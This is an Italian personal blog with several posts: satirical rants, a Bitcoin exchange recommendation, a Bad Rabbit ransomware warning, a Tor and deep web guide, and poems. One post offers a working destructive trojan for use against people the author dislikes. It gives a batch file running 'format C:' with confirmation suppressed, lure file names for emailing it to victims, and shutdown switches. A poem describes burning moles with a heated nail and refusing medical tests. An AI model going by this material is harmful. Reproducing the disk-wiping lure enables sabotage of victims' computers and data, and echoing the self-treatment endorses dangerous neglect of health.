Eptacaidecafobia.

Questo post e’ rivolto a te dolce eptacaidecafoba che mi sposti tutto il cavisterio dei pc e ne approfitti perche’ mi alzo tardi per colpire il pavimento del tinello, per esporti controsensi sulle disgrazie che sto venerdi’ 17 si attira che poi non capisco perche’ in Spagna, Grecia e vari paesi latinamericani. dove troviamo un sacco di triscadecafobici la cui sfiga e’ proiettata sul venerdi’ e anche il martedi’ 13…bah iniziamo con le disgrazie diciassettevoli parlando

delle maniache quasi piediache delle pulizie come te, che pagano la donna delle pulizie e nel contempo puliscono la casa prima che arrivi, cioe’ scuciono dindini a quella li che viene a casa per non fare una mazza in quanto pulire sul pulito e’ uno spreco di acqua e soprattutto di additivi inquinanti che mi ritrovo in quel di Casalcoso Marino..

E che dire sul fatto di passare la cera sull’asse del water pur di non fare brutta figura, datosi che il maschio della famiglia piscia sempre fuori (non faccio nomi) perche’ non ha mai capito la storia dell’asse.. alza l’asse abbassa l’asse..boh questo e’ il terzo mistero di Casalbrodino.

Cosi’ arriva la “signora” delle pulizie, contenta come un grillo (non quello del fivestar), si infila le ciabatte si mette la cuffietta in capo, si fa il caffe’, legge il tuo giornale fa una passata sul mio pc si scatta due selfate col tuo smartsette e mezzo e poi telefona tutto il tempo col cellulare alla cugina, assunta anche lei da qualche sciroccata, che sta nell’europa ovest, per pulire sti locali sempre puliti dove puoi mangiare sul pavimento e le blatte entrano solo per farsi una slittata.

Finisco con le disgrazie guardando in quel di Porcaro ed esattamente in Via Italia… mi domando e dico alla faccia del venerdi’ 17 del perche’ del lavaggio delle strade.

Ma perche’ sprecare acqua potabile alla faccia del negretto che si fa 15 km a piedi con il, canestro sulle spalle per andare a prender acqua da una pozza… ebbene… noi la buttiamo.

Io mi sono sempre chiesto e non me lo sono mai spiegato come disse il vento alla vela.

E’ come lavare la suola delle scarpe.

Perche’ lavare le strade e non i marciapiedi che li deve lavare la nuova impresa scopatrice (e’ nel capitolato), insomma in strada tutto sommato ci si passa in auto ma sui marciapiedi dove passano i cristiani e i tir del biscottaro.. che sono?

Fogna a cielo aperto?. Perche’ vorrete mica dirmi che per togliere questi maledetti olii nocivi o residui del ciuingumme basta bagnare le strade con quegli sprizzino virgoletti?

Davvero? Ma allora e’ wonderfulloso.

Ma come mai questi oli si depositano solo in via Italia?

Le altre vie sono immuni? Qualcuno le ha vaccinate di nascosto?

Ma perche’ dico io e scusate la polemichetta, ma se l’auto posteggiata impedisce il lavaggio perche’ mi date la multa e poi la lasciate li e la lavate lo stesso sta cazzo di strada? E se potevate lavarla perche’ mi avete dato la multa a fare?

Ah capisco, era per castigo come i semafori davanti alla Coop.

Basta coi perche’ dolce eptacaidecafoba del venerdi’ or dolci triscadecafobici del martes …convengo con voi che ne’ di venere ne’ di marte non si tromba e non si parte.

Bahh e ribahhh… speriamo meglio nel domani che dovrebbe esser un sabato solatìo se sopravviveremo a questo venerdi’ 17 .

E per chi e’ a digiuno del vecchio motto sabatino lo educo, accento sulla U.

Non c’e’ sabato senza sole

non c’e’ cuore senza amore

non c’e’ prato senza erba

non c’e’ culo senza …..

Settantenni Analogici.

I veri fighi digitali sono i Settantenni e passa di oggi.

Nati nel ’42, subito dopo la guerra.. ad andar bene da piccoli avevano le scarpe smesse dei fratelli piu’ grandi, ad andar male giravano a piedi nudi e non e’ il mio caso perche’ avevo i sandali.

Quando sono nati la televisione non esisteva, e quel poco di sperimentale che era stato fatto fino al ’39 ando’ perduto sotto i bombardamenti della seconda guerra mondiale.


Il telefono qualcuno ce l’aveva, ma mica neanche tutti, la Telecom era di la da venire, la SIP produceva elettricita’ e per avere un apparecchio telefonico a casa, in Lombardia ci si rivolgeva alla STIPEL.

Quando compiono vent’anni e’ tutto un fermento di innovazione e di benessere, i telefoni di casa si diffondono e li si spostano dal muro al tavolino.

le TV non sono piu’ solamente nei locali pubblici o nella villa del vicino dove ti presenti con la sedia in mano, ma la gente inizia ad averle in casa, nascono le prime televisioni “private” (o commerciali come si direbbe oggi).

Le auto non sono piu’ solo per ricchi ma possono esser acquistate firmando due kg di cambiali senz’osso.

Dopo altri vent’anni, ormai genitori, spuntano i computer tipo Commodore o Sinclair con potenza a 16bit, i telefoni portatili esistono ma questi si , sono una roba da ricchi.. solo nei film di 007 ci sono telefoni sulle auto.

La televisione analogica e’ ormai diffusa in quasi tutte le case e cominciano le zappingate coi telecomandi.

Oggi questi stessi signori li incontri nelle sale d’attesa, dal medico, in posta, che tirano fuori il loro smartphone e iniziano a chattare su Whatsapp, magari col figlio che scrive loro che i nipoti li porta alle due invece che alle quattro.

E sono li’, col loro indice impacciato a digitare su una tastiera senza tasti (ormai e’ tutto touch) messaggi alla moglie per decidere il pranzo e “ti serve qualcosa in farmacia”, magari derisi dal quindicenne a caccia di Pokémon che usa velocemente i pollici per scrivere anziche’ le 10 dita sull’Olivetti lettera 22 e che ovviamente manco pensa a cosa facevano i loro nonni come giochi..

la cavallina, il girotondo e le grette o tappi di bottiglia…

In 40 anni hanno visto la loro vita trasformarsi.. i viaggi farsi piu’ brevi, le distanze annullate, le videochiamate, che erano roba da Star Trek, diventare pane quotidiano per vedere la nipote che vive in Finlandia o l’amico in vacanza a New York.

Ma i veri fighi sono loro, sopravvissuti a un cambiamento davvero epocale, e scagliati nel mondo digitale che col benestare della Fornero i meno fortunati sono obbligati a lavorare.

Loro che quando son nati manco sapevano di essere analogici…

Bitcoin.

Il valore del Bitcoin sempre piu’ popolare e richiesto alla data del post e’ attorno alle 7.371 Euro (controlla qui in tempo reale) e pensare che ad agosto 2017 era sui 3.600 Euro e nell’agosto 2015 era sotto i 200 Euro.. fate solo attenzione che chi troppo in alto va cade sovente precipitevolissimevolmente..ma tentare non nuoce.

Sei curioso e vuoi comprare Bitcoin ma non sai come fare?

Devi avere un conto Wallet e.. lascia perdere e spendi qualche soldino facendo cosi’..

Vai suTherocktrading, un exchange (un servizio che permette di comprare e vendere crittovalute) con sede a Malta ma gestito da imprenditori italiani.

E’ in piedi da parecchio tempo ed e’ riconosciuto come piattaforma affidabile e sicura.

Therocktrading parla anche la nostra lingua (nell’home page in alto a destra seleziona la bandiera italiana) quindi il primo approccio nel mondo delle crittovalute avra’ cosi’ un ostacolo in meno, perche’ la possibilità di acquistare, trasferire e rivendere al miglior prezzo possibile e senza intermediario le tue crittovalute, avverra’ “parlando” italiano (o se preferisci ovviamente anche inglese)…

il servizio di assistenza via chat su Telegram e’ comunque perfetto e senza attese di sorta.

Therocktrading permette di scambiare Bitcoin, Litecoin, Ethereum, Peercoin, Ripple, Zcash e altre crittovalute contro euro o dollaro.

Le commissioni partono dallo 0.20% e possono scendere fino allo 0.03%, in base al volume generato.

Sono a disposizione diverse opzioni per depositare e prelevare EURO, USD e GBP.

Su questa piattaforma la registrazione e’ facile e intuitiva… all’utente basta fornire i propri dati e collegare il proprio conto corrente bancario.

Si possono anche versare euro direttamente dal proprio conto corrente a quello di Therocktrading presso Banca Sella… questo bonifico avviene tra conti correnti italiani, quindi risolve alcune problematiche che potrebbero crearsi per i bonifici transfrontalieri.

L’unica cosa richiesta e’ indicare (tassativamente) sulla causale dei bonifici un codice di riferimento per l’accredito delle somme sul giusto account.

Ricevuta la notifica dalla banca, entro un paio di giorni lavorativi, il deposito viene accreditato sul proprio conto Therocktrading.

A questo punto si puo’ iniziare ad acquistare Bitcoin o altre crittovalute… l’interfaccia e’ senza le classiche mille clausole scritti in piccolo a cui siamo avvezzi con le nostre banche ed e’ di uso piuttosto intuitivo.

Per chi invece volesse acquistare con carta di credito, il servizio consigliato e affidabile e’ l’austriaco Bitpanda qui l’alternativa della form e’ l’inglese.

Il post e’ terminato e anche i vostri soldini, vi lascio ai fatti attuali visti con gli occhi e la penna di Stefano.

Le cattiverie di un Programmatore.

Considerato che la lunga siccita’ e’ finita mi sento in vena di far danni sotto una pioggia che cerchera’ di spegnere i focolai della valle mentre in piazza ci stanno 4 o 5 persone pernonsocosa e saltando di frasca in palo, per far capire quanto e’ semplice e pericoloso leggere le mail, posto per chi condivide i miei sentimenti bellici due dritte o tre per azzerare un computer di chi vi sta sul biip formattando il suo Hdisco C con poche manovre..donc.. uscite le umbrella e dateci dentro col picci..fate come io…

1) Apro il blocco note
2) scrivo
formatC: /autotest /q /u

Salvo con un nome accattivante secondo la persona a cui mandero’ la posta con estensione .bat

Ad es:

eccomi.bat (se so’ che esiste curiosita’ di vedere il togo tuentinain).

ilmiocane.bat (se la vittima e’ amante di animali amici dell’uomo).

nudo.bat (se e’ amante di altre cose a.mene).

tutto_sul_condominio.bat (questa e’ per il condomino del 5° piano).

come_fare-il_tecnico (per il pistola che dico io).

e la invio a chi voglio male e fa’ l’equilibrista (nel senso che mi sta’ sulle palle)…

Per spiegare il /q (significa,senza chiedere conferma) e il /u (significa, non permettere di essere bloccata la mia manovra distruttiva)..

Chi lo ricevera’, aprendoli si trovera’ il computer azzerato di tutto..di un bel nero che piu’ nero non si puo’..nemmeno col candeggio contrario e nn pretendo alcun bitcoin.

Se invece mi sento magnanimo e voglio sconnettere il suo PC, riavviarlo per poi spegnerlo definitivamente, vado ancora nel blocco note inserisco il seguente codice..shutdown –(comando) e lo salvo in bat..al posto della parola tra parentesi mettero’ ovviamente senza parentesi:
a)
-i : Attivo l’interfaccia utente grafica (shutdown –i )

b) -l : Disconnetto l’utente (shutdown –l)
c)
-r : Riavvio il PC (shutdown –r)
d)
-s : Spengo il computer (shutdown –s)
e)
-t 45 (dove 45 sono i secondi di attesa prima della chiusura di Windows e darete cosi’ il tempo col conteggio alla rovescia alla vittima per dire una preghiera prima della fine). (shutdown –t 45)

f) -f : Chiudo le applicazioni ancora aperte (shutdown –f)

Semplice vero? Dagli amici mi guardi Iddio.. che a xXxX ci penso io.

ps.. nn mi chiedete di aggiustarvi il pc in quanto sapete come scassarvelo da soli e cercate di non seguire il mio scritto italcarliano…ehmm.. ringrazio per il 1mastico di ieri e stavo dimenticando la liturgia odierna del five november secondo togotuentinain. Mi rivolgo ai giovani farisaici che vivono o vegetano per farsi notare 24H sui social da quando si lavano i denti a quando vanno a letto e fanno un continuo mostrare di se’ e delle cose che fanno, anche futili e talvolta stupide pur di farse notare…

finito il predicozzo in fase mozza e senza senso, vi lascio alla striscia del buon Ste che vive di politica e..vive bene

Bad Rabbit in arrivo.

Allora ci risiamo con i craccatori che anziche’ fare attacchi infilando virus con mail o allegati utilizzano banner pubblicitari o siti internet. (Lella occhio ai vari Buongiorno, Buonasera, Buonanotte).

Per quanto si sa il nuovo ransomware sembra sia arrivato con richiesta di aggiornamento Flask Player e il malcapitato che effettueraì lo scarico otterra’ un codice malevolo denominato “infopub.dat”.

Il file utilizzera’ un primo tool in grado di svelare la password di login del PC e un secondo tool denominato DiskCryptor avente lo scopo di criptare l’intero PC senza alcuna possibilita’ (se non pagando) di ri-ottenere i propri dati personali.

Il processo si conclude con una schermata che mostra l’avvenuto attacco la quale integrera’ un timer scaduto il quale viene formattata l’intera 

macchina.

 

Quindi fate attenzione altrimenti sarete costretti a sborsare i classici 300 eurini da pagare rigorosamente con moneta Bitcoin altrimenti con la criptazione dei vostri file potrete dare addio agli stessi.

Questo Ramsomware e’ stato battezzato coniglio cattivo, al secolo Bad Rabbit e cercate di starne alla larga in quanto vi daranno 40 ore di tempo posdiche’ la cifra del riscatto aumentera’ in modo esponenziale.

Una precauzione e’ quella di creare i file:

c:\windows\infpub.dat

c:\windows\cscc.dat

e rimuovere TUTTE le autorizzazioni, in modo che non possano andare in esecuzione e rimuovere l’ereditarieta’ dai due file in questione, una volta copiati in c:\windows.

Dai vado ad aiutare in valle e lascio spazio al buon Stefano.

In Verde le rotte dei Canadair che scaricano acqua ma qui la situazione e’ davvero brutta

 

Sacro e profano secondo Matteo.

Ebbene si, come disse l’uscio, io sono aperto a tutto e a tutti e quindi oggi butto l’occhio al buon Matteo (Mt,22,15-21) e anche all’attuale Matteo secondo Orsini mentre gli amici della Catalogna hanno il loro da fare e tuttavia o tuttoviale prendendo le distanze dagli Zeloti che ci davan dentro per una rivolta armata contro i Romani faccio come il numero Uno e di fronte ad una richiesta trabocchetto Zelotianica che come risposta disse.. Rendete a Cesare quello che e’ di Cesare e al Capo quello che e’ del Capo.

Andate in pace non senza aver dato uno sguardo al buon Ste che in fatto di banche ha una sua opinione e buona domenica smogghistica. 

 

Camaleonti Umani.

Attenzione. Da scienziato esperto in pirla, essendo tale, ho isolato una nuova categoria di esseri umani. Non contagiosi ma abbastanza impestati. I cangianti. I camaleonti patologici. Quelli che oggi sono in un modo e domani tutto il contrario. Appena li sniffo cerco di stare abbottonato e con la schiena verso il muro, senza mai abbassarmi a raccogliere qualcosa da terra per al serie ..a prenderlo nel culo c’e’ sempre tempo,e voi sapete che la vita e’ questione di culo….o ce l’hai..o te lo fanno.

In natura troviamo due sottospecie di Camaleonti.

Partiamo con La Prima che e’ costituita da quelli che al primo incontro con un simile, rimangono regolarmente folgorati o folgorate.

Mettiamola al femminile che dicono.. Sai che ho conosciuto tizio? Simpaticissimo.

Una bellissima persona. Tra l’altro anche troppo fighissimo, somiglia a Clark Kent prima di trasformarsi in Superman, poi geniale, sa’ tutte le capitali d’Europa a memoria, si ricorda dei compleanni, sa dove sono riposte le mutande di ricambio, mette le calze appaiate dello stesso colore.. quasi quasi lo iscrivo alla trasmissione del Jerry Scottato….

A questo punto tu pensi… azz.., questi due diventeranno amici per la pelle. Ed e’ li’ che ti sbagli e pisci fuori dal vaso.

Dagli tempo.. max due settimane.

E poi chiedi alla cangiante come va col nuovo amico.

Lei ti rispondera’ piu’ o meno cosi’…Chi?!

Tizio?

Ma peeeer carita’… una merda… brutto, isterico e ignorante come una capra zoppa. Se posso dirti anche ladro perfino. Non ne ho le prove ma mi sembra addirittura che mi abbia castigato 5 euro dal portafoglio….

Ora riflettiamo.

Qualche volta puo’ succedere che una si pigli una cantonata, che sbagli a prendere le misure, che immagini che una persona sia in un modo e invece e’ tutto in un altro. Ma non sempre. Non tutte le strasante volte, per la miseria. Se tutti, dopo un po’ che li frequenti, diventano dei mostri, il problema e’ un po’ tuo, cara cangiante, che hai la psiche bucata e un ego elefantiaco. Gli uomini non sono mai fantastici o orribili. Sono quasi sempre a meta’. Con pregi e difetti. Alcuni con un carattere piu’ facile altri piu’ faticosi. Perche’? Tu? Wonder Woman? Sarai mica perfetta? Vedi cara, e’ difficile spiegare, e’ difficile capire, se non vedi la distanza che c’e’ tra i miei pensieri e i tuoi, cantava Guccini. Fa’ finta di non conoscerti. Non ti saluta nemmeno. Robe da chiodi. Anzi. Se tu un po’ mortificato gli fai notare chi sei, lei e’ facile che ti risponda….Ah si, ciao. Vabbuo’…

Passiamo alla Seconda Categoria.

Il camaleonte comune e facciamola breve altrimenti sforiamo.

Quello che un giorno fa’ lo splendido, ti abbraccia, ti fa’ dichiarazioni di stima incondizionata, ti promette amicizia eterna, ti racconta nel dettaglio ogni particolare della sua vita piu’ intima… e il giorno dopo? Non ti caga piu’…mai conosciuti…. E alla fine tu ti senti pazzo e lui neanche un po’. Insomma. La vita e’ spaziosa, ci puoi far stare dentro un sacco di roba. Ma i camaleonti no. I camaleonti bisogna tenerli fuori. Lasciarli sul loro ramo. A cambiare colore e lascio spazio al nostro Ste e buona domenica a tutti..tranne che a uno

Fall

Bah, eccoci in ottobre, le ombre si sono allungate, gli alberi si spogliano dalle foglie che cadono facendo un rumore silenzioso di speranze estive che se ne vanno e svaniscono, le persone si rivestono o tentano di farlo coerentemente in quanto al mattino sembra essere in Dicembre, a mezzogiorno ci si ricorda l’Agosto il pomeriggio e’ simil Giugno e la sera Gennaio.

E’ centrata l’opinione di chi dice che non ci sono piu’ le mezze stagioni ma l’Autunno non delude e arriva inesorabile con l’inizio delle serie televisive e il dubbio di come devi vestirti e’ minima cosa, ti infili in una felpa e suderai come un cammello lasciandoti in maglietta pronto ad ibernarti se una nuvola coprira’ il sole e quindi approntati alla vaccinazione polemicatoria e la vita continuera’ coi suoi ma e i suoi se e lascio spazio a Ste e alle sue idee e per la parte tecnica ci si aggiorna neh.

Deep Web.

Oggi con l’aiuto di Wikihow affronto l’argomento Worl Wide Web e relativi motori di ricerca. Per sensibilizzare il navigatore occorre sapere che chi utilizza il classico Google e’ soddisfatto dei 2 miliardi di dati non sapendo che questi rappresentano l’1 % dei dati esistenti classificati sommersi (Deep Web) e quindi per chi e’ digiuno di conoscenza informatica cerchero’ di edurlo portandolo in un mondo di pagine web a contenuto dinamico con software e siti privati molto utilizzati da border navigatori che sfociano nel Dark Web e da comunita’ super segrete che si rifugiano li’ per evitare l’identificazione da parte delle autorita’.

Comincio col cercare i Database del Deep Web

Trova dei database con un normale motore di ricerca. Puoi usare un normale motore per cercare “database natura”, “database hip hop” o termini simili. Dal momento che e’ possibile ottenere informazioni in questi database solo digitando un termine di ricerca, e non seguendo un link, la maggior parte dei bot dei motori di ricerca non possono trovarle, e questo le rende parte del “deep web”. Il motore di ricerca puo’ comunque portarti alla pagina principale del sito pero’, dove potrai usare la barra di ricerca per trovare quello che desideri. Degli esempi gratuiti o parzialmente gratuiti includono Science.gov, FreeLunch per dati economici.

Cerca ora i Database del Deep Web

Usa una ricerca specializzata per i database. I siti come The Internet Public Library, DirectSearch, e Infomine offrono una

collezione di link a database e altre fonti di informazioni di alta qualita’. Puoi anche visitare searchengineguide.com per trovare un motore di ricerca specializzato in database e informazioni su uno specifico argomento.

Fai delle ricerche usando il computer di una biblioteca. Le biblioteche, in particolare quelle delle universita’, spesso si iscrivono a molti database a pagamento, che contengono informazioni che non e’ possibile trovare con i normali motori di ricerca. Chiedi al personale a quali database hanno accesso. Potresti essere in grado di accedere a questi database usando le credenziali della tua scheda della biblioteca, ma questo dipende dalla biblioteca e dal proprietario del database

Sfoglia l’Internet Archive. Il progetto Internet Archive cerca di raccogliere informazioni digitali per conservarle a lungo termine. Sfoglia la sua ampia collezione per trovare archivi di siti web che sono scomparsi, video a audio difficili da trovare e persino copie di vecchi sistemi di videogiochi.

Cercare sulla Rete Tor

Impara a conoscere la rete Tor. Quest’area del deep web, in alcuni casi definita Dark Net, viene usata per scambi, conversazioni e informazioni che gli utenti vogliono mantenere privati. Gli utenti devono usare un programma chiamato Tor per accedere a questa regione del web, visitando siti web con il dominio “.onion”. Anche se molte di queste attivita’ sono illegali o al limite della legalita’, si tratta di siti utilizzati anche dai giornalisti per parlare con fonti anonime e dalle persone che apprezzano il concetto di un internet ultra privato. Accedere a questa area del deep web e’ legale, anche se questo non vale per le attivita’ a cui puoi prendere parte al suo interno.

Scarica il browser Tor. Si tratta di un programma gratuito che ti permette di connetterti alle pagine web in modo anonimo, e questo rende molto difficile per chiunque registrare la tua attivita’ internet se segui le dovute precauzioni. E’ possibile accedere a molte comunita’ deep web solo attraverso la rete Tor, dal momento che si fondano su anonimato, privacy e segretezza. Scarica il browser Tor da qui per iniziare ad accedere alla rete.

Le pagine web sulla rete Tor non sono stabili e spesso non sono raggiungibili per ore, giorni o per sempre. Il caricamento inoltre puo’ essere lento, dal momento che Tor fa rimbalzare la tua connessione sui computer di altre persone per proteggere il tuo anonimato.

Anche se esiste una versione del browser Tor per Android and iOS, non si tratta di programmi sicuri o consigliati. Allo stesso modo, anche i componenti aggiuntivi Tor per gli altri browser non sono sicuri e solitamente non sono supportati dall’organizzazione Tor.

Proteggi il tuo anonimato.

Ripeto che accedere alla rete deep web di Tor e’ legale, ma molte persone sfruttano l’anonimato per prendere parte ad attivita’ illegali. Prendere queste precauzioni e’ fortemente raccomandato per evitare attacchi al computer o di essere rintracciato dalle forze dell’ordine:

Fai click sull’icona “S” a sinistra della barra degli indirizzi del browser Tor, e fai click su “Proibisci gli scripts globalmente.”

Attiva il firewall di Windows o del tuo Mac.

Copri la web cam del tuo computer con del nastro.

Non scaricare mai un file da una pagina web Tor, neppure un file .doc o .pdf. La condivisione torrent non e’ particolarmente sicura.

 

Inizia con un’introduzione al deep web. Uno dei siti piu’ popolari della comunita’ deep web e’ The Hidden Wiki, The Hidden Wikihe raccoglie link del deep web che puoi visitare. Puoi anche chiedere a comunita’ del “surface web” (l’internet normale a cui siamo abituati) istruzioni e consigli attuali. Prova a chiedere sui subreddits  /r/Tor.

E’ possibile accedere alla maggior parte dei link deep web di questa sezione solo con Tor e non con i browser ordinari.

Usa non motore di ricerca deep web. Il deep web e’ appositamente difficile da esplorare e mantenere, percio’ questi motori di ricerca potrebbero non essere efficaci quanto quelli ordinari. Per trovare piu’ risultati, provane piu’ di uno, come Torch, TorSearch, e Ahmia.

Se stai cercando un sito deep web molto conosciuto, spesso troverai un collegamento anche su un motore di ricerca come Google.

Usa servizi specializzati in deep web. Anche se il deep web e’ famigerato per le attivita’ illegali svolte al suo interno, ospita anche dei siti legittimi. Alcuni si basano su concetti familiari, come la condivisione delle immagini. Altri sono piu’ caratteristici della cultura deep web, come sitisullo scambio di informazioni sicure e raccoltedi eBook dedicati a opere sovversive.

 

Parla con gli abitanti del deep web. Quest’area del deep web perde continuamente siti importanti, in parte a causa della scoperta di attivita’ illegali, e in parte perché molti dei siti sono creati da singoli o piccoli gruppi di persone che non hanno grandi disponibilità economiche. Per trovare i siti che li hanno sostituiti o ne hanno ereditato la popolarita’, parla con altri utenti usando OnionChat.

Consiglio Finale

Esistono dei motori di ricerca verticali per tipi specifici di contenuto, ad esempio http://www.findthatfile.com e’ un motore “specifico per i file”, in grado di trovare file binari da tutti i tipi di fonti. Detto questo ripeto di fare attenzione alla navigazione della parte sommersa e soprattutto non scaricate nulla e se siete sensibili a foto cruente continuate le vostre ricerche col Google.

IGMK percentuale?

Lo sento dentro quel vecchio
leone che ancora ruggisce,
lo sento ancora scuotere
l’anima ad ogni respiro,
ringhiare ad ogni colpo schivato,
reagire d’istinto all’IGMK.

Una vocale tre consonanti

E delle fredde percentuali..

che sono queste percentuali?

Per me son solo dei numeri
e divento freddo come il marmo

il pensiero si blocca
e il cuore urla di rabbia
non conta quanto faccia male,
non esiste catena ne TSH che

possa fermare
la voglia di non mollare.
Non ci vado al tappeto,
non ora, non questo round, non oggi,
l’ho sussurrato nel vento,
l’ho promesso a me stesso.

e alle erbe di Maria Treben.

Sul web leggo chi stava benissimo

e si e’ rovinata la vita con questi numeri.

Leggo che si tratta di mieloma o leucemia

cellule impazzite che veleggiano nel sangue..

il medico non lo conosco e dovrei rifare analisi.

col cazzo che mi faro’ intimorire..

vedo un neo strano sul braccio..

chiodo del 90 arroventato sul fuoco

e via a sto neo..

ce ne sta un’altro che da tre anni si ingrandisce

altra bruciata a sto coso a forma di america

stavolta ci son stati dei postumi..il neo si vendica

io resisto a ste analisi e non le faccio

Troppe volte ho lasciato
indietro pezzi di me

che non ho piu’ ritrovato,
troppe volte ho avuto bisogno
e non ho saputo chiedere,
troppe volte mi ritrovo a rimpiangere
treni che non ho preso.. vero Juan?.
Prendo spunto da te e lo

trasformo in un post mio

che diventa automaticamente tuo

Per la vita che non ho vissuto.

 

Seduto dietro un vetro
guardo e non osservo
il nero profondo
che e’ davanti i miei occhi.
Fisso il vuoto
a mani incrociate,
senza trovare mai il coraggio
di puntare giu’ lo sguardo.

Senza sorridere perche’

Diventerebbe una smorfia.
Sento voci sussurrare
melodie conosciute
ma non so ricordarne il senso,
recito il mio copione
strappando applausi e finti sorrisi,
mi emoziono e chiudo fuori
gli sguardi affamati.
Aspetto l’ultima luce,
aspetto l’atto finale
con la consapevolezza
che per un uomo senza veli
non esiste il lieto fine.

 
 

Quanti sassi ho ingoiato,
quanti respiri ho trattenuto,
quanta paura ho avuto,
quanti sogni ho cancellato,
quanti colpi ho schivato,
quante volte ho ricominciato.
Eppure sono qui,
sono ancora qui per ripartire
con il coraggio di chi
sa anche sbagliare,
pronto come sempre
il treno sta rallentando

ma non vedo ancora la fermata

semmai tirero’ quel segnale

e godro’ nel sentire la frenata

spero solo che altri compagni

viaggiatori non debbano cadere..

 e la stazione.

 

gli interessi di Ste sono altri